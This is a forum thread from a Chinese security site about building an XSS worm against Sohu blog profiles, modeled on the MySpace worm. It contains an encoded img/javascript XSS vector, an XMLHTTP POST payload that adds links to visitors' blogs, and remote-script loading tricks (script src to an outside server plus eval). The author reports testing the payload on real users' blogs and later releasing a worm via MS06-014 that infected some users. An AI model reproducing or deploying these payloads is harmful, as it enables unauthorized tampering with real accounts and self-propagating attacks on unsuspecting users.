发新话题
打印

[讨论]XSS worm初尝试

[讨论]XSS worm初尝试

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
议题作者:茄子宝

偶然发现SOHU blog的跨站漏洞,问题出在个人档案里,img标签未过滤完全。

初步尝试直接img标签跨站失败
引用:
<IMG SRC="javascript:alert(&#39;XSS&#39;);">
HTML编码转成十进制成功跨站成功!


不知道大家听说过MySpace worm没有,有一个人在MySpace (一个交友网站)上写了一只利用Ajax技术来传播的蠕虫,当一个人登陆他的页面时就会改写自己页面的加一段字 “but most of all, samy is my hero”,同时也会把这个javascript加入到自己的页面在,就这样20小时内就传染了一百万个用户,最后导致MySpace关站维修。我google了下找到了关于MySpace worm整篇详细资料http://namb.la/popular/tech.html

SOHU blog既然有XSS漏洞我想是不是可以根据这些写一个XSS worm,MySpace worm之所以成功是因为可以直接编辑CSS跨站,SOHU这里的XSS代码长度限制了,个人档案只支持2000多个字符,我尝试着实现了自动加友情链接的功能,先抓了下加友情链接的包,然后写了个利用XMLHTTP组件POST数据的代码,把完成代码转成10进制的HTML编码插到img标签就可以了,主要代码如下:
引用:
javascript:document.body.insertAdjacentHTML("afterBegin"," <script defer>var r=new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;);r.Open(&#39;post&#39;,&#39;/manage/link.do&#39;,false);r.setRequestHeader(&#39;Content-Type&#39;,&#39;application/x-www-form-urlencoded&#39;);r.send(&#39;m=add&title=s0n9&desc=s0n9&link=http%3A//s0n9.blog.sohu.com&#39;);</script\>")
找了几个MM进偶的BLOG测试,自动加友情链接成功 [s:58] ,不过遗憾的是XSS代码长度限制没有写出自动传播的代码,我的思路还是一样POST数据修改别人的个人档案加入XSS代码,最主要的原因还是XSS代码长度的问题,请教了冰狐大哥说是调用外部代码,由于我JS是才接触而已,实在写不出,剩下还希望牛人知道或者大家一起研究,把这个XSS wrom的思路完善。
.....  -.= 凸

TOP

汗!我用rss阅读器弹出窗口了!

附件

1.GIF (23 KB)

2006-8-22 01:17

1.GIF

广告位招商! 联系人:neeao E-Mail:neeaocn(at)gmail.com Msn:neeao@hotmail.com Site:http://www.neeao.com

TOP

一个牛人关于XSS wrom的意见 <script src=xxxx/worm.js></script>

我直接吐血~~~~~~~~

SOHU要写XSS worm就两个最大的瓶颈:

1.XSS代码长度限制,不能和国外那人一样直接编辑CSS写那么长的javascript!

2.POST数据不能调用外部的JS,没权限!
.....  -.= 凸

TOP

或许可以写了一个ddos的东西,那这个威力也是不小的.不过限制也是很多的,例如长度限制,域限制等等。

TOP

已经想到完美解决思路!写好了完整代码就放出来。

希望达人还有高招。
.....  -.= 凸

TOP

RSnake的XSS Worm来的!但是你要注意因为你采取的跨站手法未必可以在任何的浏览器当中实现,而且根据Snake的介绍XSS Worm需要多个部分作为辅助,或者远程调用作为传播!就好像你刚刚说的某牛人意见
引用:
一个牛人关于XSS wrom的意见 <script src=xxxx/worm.js></script>

我直接吐血~~~~~~~~

SOHU要写XSS worm就两个最大的瓶颈:

1.XSS代码长度限制,不能和国外那人一样直接编辑CSS写那么长的javascript!

2.POST数据不能调用外部的JS,没权限!
其实这个也是Snake已经提到过很久的手法了!

TOP

有详细的资料文档吗?大家可以实践一下!我说的是SOHU的这个XSS.

关于远程调用,我不知道Snake所需要的远程调用是实现什么功能。

如果给我一个无限制字符的写XSS的地方,就没这么难呢。

我的思路就是很简单:站内POST数据把恶意XSS插到别人那就够了,站外调用JS来POST是不可能的,没权限的说。

还有这个XSS最大的限制就是字符,写好了代码必须HTML编码到10进制,小小一段JAVASCRIPT就已经超过2000字符。

PS:你能在SOHU写那么长的XSS吗?你能写出HTML编码10进制不超过2000字符能POST恶意XSS到别人BLOG里的代码吗?这个恶意XSS也有长度限制,要实现自动传播何其难,大家可以参考http://namb.la/popular/tech.html这份文档!
.....  -.= 凸

TOP

引用:
这里是引用第[6 楼]茄子宝2006-08-22 13:00发表的:
有详细的资料文档吗?大家可以实践一下!我说的是SOHU的这个XSS.

关于远程调用,我不知道Snake所需要的远程调用是实现什么功能。

如果给我一个无限制字符的写XSS的地方,就没这么难呢。
.......
我说的分部分是限制在没有办法写入过多语句的情况!分部分写入的意思,这样子就可以解决不用远程调用以及不够位置的问题!但是你要记住有很多语句都是基于IE的,有些是不起作用的!

你去看看Snake的资料吧!http://ha.ckers.org/blog/category/webappsec/xss/

TOP

引用:
这里是引用第[2 楼]茄子宝2006-08-22 01:27发表的: 一个牛人关于XSS wrom的意见 我直接吐血~~~~~~~~ SOHU要写XSS worm就两个最大的瓶颈: .......

呵呵,对xss我并不是很懂.我当时说的意思是,使用外部js.起码能保证字符长度上不受限制

另外,我也不是什么牛人.比如对xss我就一窍不通.

http://www.phpweblog.net/GaRY/

TOP

分部分写入咋实现 [s:36]  写个JS用document.write?
.....  -.= 凸

TOP

引用:
这里是引用第[8 楼]我非我2006-08-22 13:26发表的:
呵呵,对xss我并不是很懂.我当时说的意思是,使用外部js.起码能保证字符长度上不受限制另外,我也不是什么牛人.比如对xss我就一窍不通.
原来是你这个牛人啊!牛人好啊!
引用:
分部分写入咋实现  写个JS用document.write?
这个问题要你去想了!我人老了,脑子到这里就停止运动的了!

TOP

[s:68] 上课去!晚上测试下!回头看结果!
.....  -.= 凸

TOP

引用:
这里是引用第[11 楼]茄子宝2006-08-22 13:31发表的:
[s:68] 上课去!晚上测试下!回头看结果!
凸^_^凹!!!有空过来我们的盒子坐坐啊!还有那个牛人啊!一年不上一次!我要问你拿0day了!

TOP

回来报结果。 调用外部JS来document.write的脚本也没权限。这样的POST也属于站外提交。

只能XSS全部代码进去这一条路了,外部调用代码来POST全部不行。

能不能把Open send属性的数据创个变量直接读取一个txt内容来提交,也许能把XSS降低到2000字符内。
.....  -.= 凸

TOP

把页面保存到本地,修改字符限制,然后找到POST地址,把POST地址改下,应该可以吧! [s:51] 纯属猜测。。。因为之前用这方法跨过台湾一个站。。 [s:64]

TOP

能否将js保存为jpg文件传到sohu服务器上,然后只一个调用就可以…… 可能sohu不让传?我记得只要hostname一样js就不会有限制的。
http://hi.baidu.com/anuiz anuiz#163.com

TOP

字符限制在程序代码里不是页面的脚本里 本地提交~不可行。

js保存为jpg也不行,图片做了验证,非正常格式不能传。
.....  -.= 凸

TOP

那就加个文件头
GIF8

不知道可行不

TOP

引用:
这里是引用第[18 楼]fhod2006-08-23 09:25发表的:
那就加个文件头
GIF8

不知道可行不
你说的这个我认为不可行,因为非正常格式不能传。所以不管你在文件里加了什么文件头
都会被认为是不合法的而无法上传,所以我觉得不可行~
http://www.xp21.cn 堕落的人们…… 真的为你们感到悲哀!你们心理难道只有冷冷的石头?

TOP

提供一个解决方法,样本测试通过,
在server1上存在file1.txt  内容:
str="alert(&#39;This is a Text on a remote Server&#39;);";

在server2上,也就是博客服务器上有这段js:  
<script src=http://server1/file1.txt></script>
<script>eval(str);</script>

没有问题了吧?
http://hi.baidu.com/anuiz anuiz#163.com

TOP

alert方法当然会弹窗 但是真正POST数据 还是有域限制的 不管怎么样就是不能站外的

我已经用MS06-014解决了权限问题,放出了XSS WORM,传染了一些人,SOHU也屏蔽了漏洞了。
.....  -.= 凸

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

发新话题